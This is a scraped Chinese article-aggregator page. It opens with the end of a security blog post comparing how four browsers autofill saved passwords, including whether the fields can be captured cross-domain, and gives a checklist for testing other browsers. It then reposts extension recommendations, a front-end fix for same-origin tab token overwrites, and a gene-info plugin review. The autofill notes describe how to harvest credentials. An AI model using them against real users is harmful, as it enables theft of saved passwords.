  【谷歌浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【搜狗浏览器】(1)http和https都会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)可以跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示不明显;访问过https以后就不能用http访问了,会自动跳https,需要清除缓存的图片和文件才可以;
  【火狐浏览器】(1)只有https或127的站点会自动填充(2)不需要点击就能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https会提示保存密码,可以自动填充(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  【edge浏览器】(1)只有https或127的站点会自动填充(2)需要点一下才能传输数据(3)无视autocomplete(4)不能跨域(5)不安全的https不会提示保存密码,但之前若保存过能否自动填充没有找到环境测试(6)记住密码提示明显;似乎没有https强制跳http的智障问题
  大家在项目中遇到没有测试过的浏览器也可以自行测试一下,测试要点如下:
  【测试指南】(1)自动填充有没有什么条件(如https)(2)需不需要点一下才能获取(一般跳转到页面时点的一下也算)(3)autocomplete(4)测试能不能跨域抓(5)不安全的https能否自动填充(6)其他
  当然也可以委托我帮忙测试,不过要收费哈哈哈。
  0x04 后记
  VX公众号:《小黑的安全笔记》没什么啦,最近好多公众号都在发新年总结,小黑的就留到农历新年再写吧。
  打游戏去啦,拜拜。
  END.
  喵,点个赞再走吧~

批量提取网页图片浏览器插件2022

网站优化优采云 发表了文章 • 0 个评论 • 161 次浏览 • 2022-05-12 11:12 • 来自相关话题

  批量提取网页图片浏览器插件2022
  批量提取网页图片浏览器插件2022
  产品菌
  产品经理ICU
  dayin120
  专注分享产品经理知识与干货/软件攻略,产品教程/知识地图/智慧行业解决方案
  收录于合集
  01
  插件介绍
  今天给大家分享一款浏览器中用于网页图片批量提取、下载的扩展程序:图片助手(ImageAssistant)。
  使用方法:
  第一种:浏览器「扩展程序」中搜索图片助手安装。
  第二种:本文下方小程序获取插件拖拽到浏览器安装。
  支持在chrome、Firefox、360浏览器、Edge浏览器等中使用,提升的效率有多少就不说了,大家可以自行体验。
  
  02写在最后
  点击下方小程序或回复“图片助手”获取
  如果对这个插件感兴趣的小伙伴,可以在上方资源列表中获取下载链接,获取时请注意对应的标题和日期(2022-05-07)。
   查看全部

  批量提取网页图片浏览器插件2022
  批量提取网页图片浏览器插件2022
  产品菌
  产品经理ICU
  dayin120
  专注分享产品经理知识与干货/软件攻略,产品教程/知识地图/智慧行业解决方案
  收录于合集
  01
  插件介绍
  今天给大家分享一款浏览器中用于网页图片批量提取、下载的扩展程序:图片助手(ImageAssistant)。
  使用方法:
  第一种:浏览器「扩展程序」中搜索图片助手安装。
  第二种:本文下方小程序获取插件拖拽到浏览器安装。
  支持在chrome、Firefox、360浏览器、Edge浏览器等中使用,提升的效率有多少就不说了,大家可以自行体验。
  
  02写在最后
  点击下方小程序或回复“图片助手”获取
  如果对这个插件感兴趣的小伙伴,可以在上方资源列表中获取下载链接,获取时请注意对应的标题和日期(2022-05-07)。
  

同一浏览器打开两个同源页面引发的bug【@码云 提个小优化】

网站优化优采云 发表了文章 • 0 个评论 • 96 次浏览 • 2022-05-07 22:22 • 来自相关话题

  同一浏览器打开两个同源页面引发的bug【@码云 提个小优化】
  哈喽,大家好 我是xy‍。今天给大家来分享一个bug。在同一浏览器打开两个同源页面发生的数据串改的问题,当然这篇文章只是用码云来举个例子,其它很多大型网站都中招了
  背景
  一天下午,某某上帝(客户就是上帝)正在使用的我们公司的产品,在浏览器打开A标签页登录了a账号,然后又到B标签页登录了b账号,也就是同时登录了两个账号,然后到A下去操作数据(不刷新页面),结果造成了在A下修改到了B的数据,而且两个账号的权限还存在差异
  为什么会被串改
  至于为什么会修改到 B 的数据:
  前端把用户信息和 token 之类的是存储在浏览器本地的,这样一来,打开新的标签页登录其它账户,由于是同源页面,新的标签页的用户信息和token肯定会覆盖掉前一个标签页的用户信息和token,在页面不刷新的情况下,操作a账户下的数据,其实是操作的b下的数据
  很多同学遇到这个问题的第一反应:
  这个不是很正常的操作吗或者让用户刷新页面不就好了,包括我也是这样想的
  同时也查看了市面上的一些产品,同样有类似的问题,就拿我们比较熟悉的 码云 来说吧,我特地的注册了两个账号
  注册的新账号在第一个标签页登录
  
  因为是全新的账号,没有任何信息之类的
  打开新的标签页,先退出登录,然后登录我之前一直使用的账号
  
  自己一直使用的账号通知和私信还是有不少内容的
  回到第一个标签页
  
  账户明明是新的账户,但是却把自己使用的旧账户的数据给展示过来了
  当时心里暗喜,码云这么大的平台都没做处理,我们应该也无所谓了 ✌️
  但是我就是个打工仔,搞不搞还不是领导说了算吗?既然领导已经提了这个需求,并且强烈要求优化用户体验,只能想办法解决喽
  需求方案方案 1:方案 2:回归问题本质
  这个问题的本质其实就是:由于是同源页面,新的标签页的用户信息和token会覆盖掉前一个标签页的用户信息和token
  既然本质问题是本地存储替换的问题,那就想办法着手解决喽 ‍♂️
  如何做到同时登录两个账号
  做到两个账号同时登录互不干涉,其实只需要保证本地存储互不影响,让不同的用户存储的 token 的键名不一样
  实现方法:在登录的时候存储用userName+token作为键来存储token
  import Cookies from 'js-cookie'<br /><br />export function setToken( token, userName ) {<br />  return Cookies.set( userName + 'token', token, { expires: xxxx } )<br />}<br />
  但是需要考虑到这个时候用户名:userName也可能会被覆盖,所以在每次刷新页面之前,把用户名存储到sessionStorage中去
  window.addEventListener("beforeunload", () => {<br />  sessionStorage.setItem("userName", this.userName || "");<br />});<br />
  为什么要放到sessionStorage中呢 ?
  因为sessionStorage生命周期为当前窗口或标签页,也就是每个标签页中的sessionStorage互不影响,即使是同源页面
  获取 token 直接根据userName+token获取即可
  export function getToken() {<br />  return Cookies.get( sessionStorage.getItem( 'userName' ) + 'token' )<br />}<br />
  好了,到这里基本上完美解决想要同一个浏览器登录多个用户账号的问题
  前一个标签强制刷新或者重定向
  再次回到问题本身,还是本地存储的问题。打开第二个同源页面标签页,有没有办法能够告诉第一个标签页呢???
  当然有办法了,我们可以利用 HTML5 storage事件监听:
  HTML5 storage事件监听:当同源页面的某个页面修改了localStorage,其余的同源页面只要注册了storage事件,就会触发
  Web Storage API内建了一套事件通知机制,当存储区域的内容发生改变(包括增加、修改、删除数据)时,就会自动触发 storage 事件,并把它发送给所有感兴趣的监听者。因此,如果需要跟踪存储区域的改变,就需要在关心存储区域内容的页面监听storage事件。
   window.addEventListener("storage", (e)=>{<br />   // 获取 e 后做一系列判断操作<br /> }, false);<br />
  实际上,这个事件e上还带有很多信息,可以对事件做精确的控制 。
  字段含义
  key
  发生变化的 storageKey
  newValue
  变换后新值
  oldValue
  变换前原值
  storageArea
  相关的变化对象
  url
  触发变化的 URL,如果是 frameset 内,则是触发帧的 URL
  有了这些内容,就可以根据自己的业务需求来做需要的操作了。
  但是这里注意一个问题,只有当同源页面的某个页面修改了localStorage,也就是不修改,还是监听不到的。
  如果直接把第一个标签页的链接复制到第二个标签页,本地存储是不会更改的,这个时候第一个标签页的监听事件将不会触发
  这个时候可以在每次页面初始化的时候在 localStorage 中写入一个唯一的标识,建议是时间戳之类的,这样即使把地址复制到第二个标签页中,也会执行初始化操作,时间戳改变就会触发监听的storage事件。
  ok 了,问题统统解决
  最后想@码云以及很多存在此类问题的网站都提出这个优化点,2022,让我们变得更好吧 。
  写在最后
  公众号:前端开发爱好者 专注分享 web 前端相关技术文章、视频教程资源、热点资讯等,如果喜欢我的分享,给 点一个赞 或者 ➕关注 都是对我最大的支持。
  欢迎长按图片加好友,我会第一时间和你分享前端行业趋势,面试资源,学习途径等等。
  
  添加好友备注【进阶学习】拉你进技术交流群 查看全部

  同一浏览器打开两个同源页面引发的bug【@码云 提个小优化】
  哈喽,大家好 我是xy‍。今天给大家来分享一个bug。在同一浏览器打开两个同源页面发生的数据串改的问题,当然这篇文章只是用码云来举个例子,其它很多大型网站都中招了
  背景
  一天下午,某某上帝(客户就是上帝)正在使用的我们公司的产品,在浏览器打开A标签页登录了a账号,然后又到B标签页登录了b账号,也就是同时登录了两个账号,然后到A下去操作数据(不刷新页面),结果造成了在A下修改到了B的数据,而且两个账号的权限还存在差异
  为什么会被串改
  至于为什么会修改到 B 的数据:
  前端把用户信息和 token 之类的是存储在浏览器本地的,这样一来,打开新的标签页登录其它账户,由于是同源页面,新的标签页的用户信息和token肯定会覆盖掉前一个标签页的用户信息和token,在页面不刷新的情况下,操作a账户下的数据,其实是操作的b下的数据
  很多同学遇到这个问题的第一反应:
  这个不是很正常的操作吗或者让用户刷新页面不就好了,包括我也是这样想的
  同时也查看了市面上的一些产品,同样有类似的问题,就拿我们比较熟悉的 码云 来说吧,我特地的注册了两个账号
  注册的新账号在第一个标签页登录
  
  因为是全新的账号,没有任何信息之类的
  打开新的标签页,先退出登录,然后登录我之前一直使用的账号
  
  自己一直使用的账号通知和私信还是有不少内容的
  回到第一个标签页
  
  账户明明是新的账户,但是却把自己使用的旧账户的数据给展示过来了
  当时心里暗喜,码云这么大的平台都没做处理,我们应该也无所谓了 ✌️
  但是我就是个打工仔,搞不搞还不是领导说了算吗?既然领导已经提了这个需求,并且强烈要求优化用户体验,只能想办法解决喽
  需求方案方案 1:方案 2:回归问题本质
  这个问题的本质其实就是:由于是同源页面,新的标签页的用户信息和token会覆盖掉前一个标签页的用户信息和token
  既然本质问题是本地存储替换的问题,那就想办法着手解决喽 ‍♂️
  如何做到同时登录两个账号
  做到两个账号同时登录互不干涉,其实只需要保证本地存储互不影响,让不同的用户存储的 token 的键名不一样
  实现方法:在登录的时候存储用userName+token作为键来存储token
  import Cookies from 'js-cookie'<br /><br />export function setToken( token, userName ) {<br />  return Cookies.set( userName + 'token', token, { expires: xxxx } )<br />}<br />
  但是需要考虑到这个时候用户名:userName也可能会被覆盖,所以在每次刷新页面之前,把用户名存储到sessionStorage中去
  window.addEventListener("beforeunload", () => {<br />  sessionStorage.setItem("userName", this.userName || "");<br />});<br />
  为什么要放到sessionStorage中呢 ?
  因为sessionStorage生命周期为当前窗口或标签页,也就是每个标签页中的sessionStorage互不影响,即使是同源页面
  获取 token 直接根据userName+token获取即可
  export function getToken() {<br />  return Cookies.get( sessionStorage.getItem( 'userName' ) + 'token' )<br />}<br />
  好了,到这里基本上完美解决想要同一个浏览器登录多个用户账号的问题
  前一个标签强制刷新或者重定向
  再次回到问题本身,还是本地存储的问题。打开第二个同源页面标签页,有没有办法能够告诉第一个标签页呢???
  当然有办法了,我们可以利用 HTML5 storage事件监听:
  HTML5 storage事件监听:当同源页面的某个页面修改了localStorage,其余的同源页面只要注册了storage事件,就会触发
  Web Storage API内建了一套事件通知机制,当存储区域的内容发生改变(包括增加、修改、删除数据)时,就会自动触发 storage 事件,并把它发送给所有感兴趣的监听者。因此,如果需要跟踪存储区域的改变,就需要在关心存储区域内容的页面监听storage事件。
   window.addEventListener("storage", (e)=>{<br />   // 获取 e 后做一系列判断操作<br /> }, false);<br />
  实际上,这个事件e上还带有很多信息,可以对事件做精确的控制 。
  字段含义
  key
  发生变化的 storageKey
  newValue
  变换后新值
  oldValue
  变换前原值
  storageArea
  相关的变化对象
  url
  触发变化的 URL,如果是 frameset 内,则是触发帧的 URL
  有了这些内容,就可以根据自己的业务需求来做需要的操作了。
  但是这里注意一个问题,只有当同源页面的某个页面修改了localStorage,也就是不修改,还是监听不到的。
  如果直接把第一个标签页的链接复制到第二个标签页,本地存储是不会更改的,这个时候第一个标签页的监听事件将不会触发
  这个时候可以在每次页面初始化的时候在 localStorage 中写入一个唯一的标识,建议是时间戳之类的,这样即使把地址复制到第二个标签页中,也会执行初始化操作,时间戳改变就会触发监听的storage事件。
  ok 了,问题统统解决
  最后想@码云以及很多存在此类问题的网站都提出这个优化点,2022,让我们变得更好吧 。
  写在最后
  公众号:前端开发爱好者 专注分享 web 前端相关技术文章、视频教程资源、热点资讯等,如果喜欢我的分享,给 点一个赞 或者 ➕关注 都是对我最大的支持。
  欢迎长按图片加好友,我会第一时间和你分享前端行业趋势,面试资源,学习途径等等。
  
  添加好友备注【进阶学习】拉你进技术交流群

「插件」4款浏览器神级扩展插件,效率提升80%(第六弹)

网站优化优采云 发表了文章 • 0 个评论 • 98 次浏览 • 2022-05-07 14:30 • 来自相关话题

  「插件」4款浏览器神级扩展插件,效率提升80%(第六弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Speedtest
  Speedtest by Ookla是一款网络测速插件,当上网速度很慢的时候,人们想到的第一件事就进行网络测速。在window上,只要你安装了360全家桶,测速功能就是默认安装的,但其实测速这种功能根本不需要安装到本地,交给浏览器就好了。
  
  XDM
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Awesome Screenshot
  Awesome Screenshot是一款功能强大的屏幕截屏和视频录制谷歌浏览器插件,除了可以截取当前画面、长网页之外,也拥有很完整的图片制作工具,甚至结合了免费的图片上传空间。Awesome Screenshot还可以对截图进行标注、箭头、文字、马赛克等简单的编辑。
  
  google学术搜索
  Google学术搜索按钮是一款查询学术文章插件,可以帮助学生和工作者更加快速地获取学术论文,任意一个网页复制一篇学术论文的标题,即可以快速地启动谷歌学术搜索的功能。用户在使用普通的搜索服务的时候,如果对于普通的搜索不满意,可以点击右上角的插件按钮,启动谷歌学术搜索,该插件会给予用户前三名的学术搜索结果,用户还可以点击更多按钮来查询到所有的学术搜索结果。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202227」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
   查看全部

  「插件」4款浏览器神级扩展插件,效率提升80%(第六弹)
  前言
  大家好,今天来给各位推荐下浏览器插件,在浏览器里,有哪些实用的插件。如何不用下载软件,仅仅是使用浏览器就能使用各种丰富的功能,那必然就是安装各种功能插件了,今天在这里给大家推荐4个神级插件,分分钟提高效率,如果有你喜欢的插件,欢迎来体验!!!
  
  Speedtest
  Speedtest by Ookla是一款网络测速插件,当上网速度很慢的时候,人们想到的第一件事就进行网络测速。在window上,只要你安装了360全家桶,测速功能就是默认安装的,但其实测速这种功能根本不需要安装到本地,交给浏览器就好了。
  
  XDM
  图片助手是一款用于嗅探、分析网页图片并提供批量下载等功能及在线收藏、检索、分享服务的浏览器扩展插件。可以提供分析、提取网页中的图片并以多种筛选方式辅助用户选取下载等功能及收藏 、检索、分享等在线服务。不同于以往提供类似功能的浏览器扩展,本扩展融合了多种数据提取方式来保证在各种复杂结构页面中尽可能全面地提取到出现过的图片。
  
  Awesome Screenshot
  Awesome Screenshot是一款功能强大的屏幕截屏和视频录制谷歌浏览器插件,除了可以截取当前画面、长网页之外,也拥有很完整的图片制作工具,甚至结合了免费的图片上传空间。Awesome Screenshot还可以对截图进行标注、箭头、文字、马赛克等简单的编辑。
  
  google学术搜索
  Google学术搜索按钮是一款查询学术文章插件,可以帮助学生和工作者更加快速地获取学术论文,任意一个网页复制一篇学术论文的标题,即可以快速地启动谷歌学术搜索的功能。用户在使用普通的搜索服务的时候,如果对于普通的搜索不满意,可以点击右上角的插件按钮,启动谷歌学术搜索,该插件会给予用户前三名的学术搜索结果,用户还可以点击更多按钮来查询到所有的学术搜索结果。
  
  下载方法
  这期的插件分享就到这里的,需要的小伙伴可以在微信公众号后台回复关键词「202227」或「插件」即可获取软件下载链接,快去试试吧!祝使用愉快!
  最后想说
  大家如果在下载使用插件有问题可以留言反馈,我看到会及时处理的,以及大家需要什么插件也可以留言,希望大家可以多多支持我,帮忙分享让更多的人看到,后续还会分享更多的软件给大家。谢谢支持,如果经济允许可以打赏。不胜感激。
  

好物推荐 | 谷歌浏览器插件(gene info)

网站优化优采云 发表了文章 • 0 个评论 • 112 次浏览 • 2022-05-04 05:29 • 来自相关话题

  好物推荐 | 谷歌浏览器插件(gene info)
  
  我们在《生信菜鸟团》公众号有一个《好物推荐》的专辑,大概有几十个生产力工具, 包括软件,网站资源,浏览器插件等等,详见:
  也时候更新了,接下来也会有十几个小工具
  下面是小编“十年”的推荐上一个浏览器插件是:
  单细胞项目中我们常常因为基因不认识,而无法辨别细胞类型,下面将介绍一款谷歌浏览器插件,gene info,这款插件可以快速提取并检索基因名称,并显示基因相关功能信息,以及基因的全称,方便大家快速了解基因功能等相关信息。
  下面来详细介绍一下:
  1.安装也超级方便,首先打开Chrome商店的Gene Info 浏览器插件
  
  2.主要功能介绍:
  通过双击任何网页上的基因名称或 accession 来查看基因信息。
  双击基因名称或点击加入检索有关它的信息和相关资源的链接。
  信息可以显示为详细报告或带有外部资源链接的最小工具提示。
  可以通过扩展程序的弹出菜单自定义显示的信息。
  信息来自 UniProt、BioGRID、Compartments 亚细胞定位数据库、Cancer Dependency Map、Gene Ontology Consortium、HGNC、Human Protein Atlas、IntAct、OMIM、Pfam、ProteomicsDB 和 Reactome。
  插件的主要界面:
  
  
  
  目前支持的物种:
  
  你以为就这样就结束了吗?其实还有更高级功能:
  
  箭头所指的地方有隐藏功能,比如说蛋白的表达情况:
  
  
  还有更多功能:
  
  相当于做了一个基因的分析有没有,那么今天就到这啦,你在做生信分析的过程中有哪些好用的小插件欢迎在评论区留言,大家集思广益把这个专题做起来哈。
  写在文末
  我在《生信技能树》,《生信菜鸟团》,《单细胞天地》的大量推文教程里面共享的代码都是复制粘贴即可使用的, 有任何疑问欢迎留言讨论,也可以发邮件给我,详细描述你遇到的困难的前因后果给我,我的邮箱地址是
  如果你确实觉得我的教程对你的科研课题有帮助,让你茅塞顿开,或者说你的课题大量使用我的技能,烦请日后在发表自己的成果的时候,加上一个简短的致谢,如下所示:
  We thank Dr.Jianming Zeng(University of Macau), and all the members of his bioinformatics team, biotrainee, for generously sharing their experience and codes.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
  十年后我环游世界各地的高校以及科研院所(当然包括中国大陆)的时候,如果有这样的情谊,我会优先见你。 查看全部

  好物推荐 | 谷歌浏览器插件(gene info)
  
  我们在《生信菜鸟团》公众号有一个《好物推荐》的专辑,大概有几十个生产力工具, 包括软件,网站资源,浏览器插件等等,详见:
  也时候更新了,接下来也会有十几个小工具
  下面是小编“十年”的推荐上一个浏览器插件是:
  单细胞项目中我们常常因为基因不认识,而无法辨别细胞类型,下面将介绍一款谷歌浏览器插件,gene info,这款插件可以快速提取并检索基因名称,并显示基因相关功能信息,以及基因的全称,方便大家快速了解基因功能等相关信息。
  下面来详细介绍一下:
  1.安装也超级方便,首先打开Chrome商店的Gene Info 浏览器插件
  
  2.主要功能介绍:
  通过双击任何网页上的基因名称或 accession 来查看基因信息。
  双击基因名称或点击加入检索有关它的信息和相关资源的链接。
  信息可以显示为详细报告或带有外部资源链接的最小工具提示。
  可以通过扩展程序的弹出菜单自定义显示的信息。
  信息来自 UniProt、BioGRID、Compartments 亚细胞定位数据库、Cancer Dependency Map、Gene Ontology Consortium、HGNC、Human Protein Atlas、IntAct、OMIM、Pfam、ProteomicsDB 和 Reactome。
  插件的主要界面:
  
  
  
  目前支持的物种:
  
  你以为就这样就结束了吗?其实还有更高级功能:
  
  箭头所指的地方有隐藏功能,比如说蛋白的表达情况:
  
  
  还有更多功能:
  
  相当于做了一个基因的分析有没有,那么今天就到这啦,你在做生信分析的过程中有哪些好用的小插件欢迎在评论区留言,大家集思广益把这个专题做起来哈。
  写在文末
  我在《生信技能树》,《生信菜鸟团》,《单细胞天地》的大量推文教程里面共享的代码都是复制粘贴即可使用的, 有任何疑问欢迎留言讨论,也可以发邮件给我,详细描述你遇到的困难的前因后果给我,我的邮箱地址是
  如果你确实觉得我的教程对你的科研课题有帮助,让你茅塞顿开,或者说你的课题大量使用我的技能,烦请日后在发表自己的成果的时候,加上一个简短的致谢,如下所示:
  We thank Dr.Jianming Zeng(University of Macau), and all the members of his bioinformatics team, biotrainee, for generously sharing their experience and codes.<br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" />
  十年后我环游世界各地的高校以及科研院所(当然包括中国大陆)的时候,如果有这样的情谊,我会优先见你。

官方客服QQ群

微信人工客服

QQ人工客服


线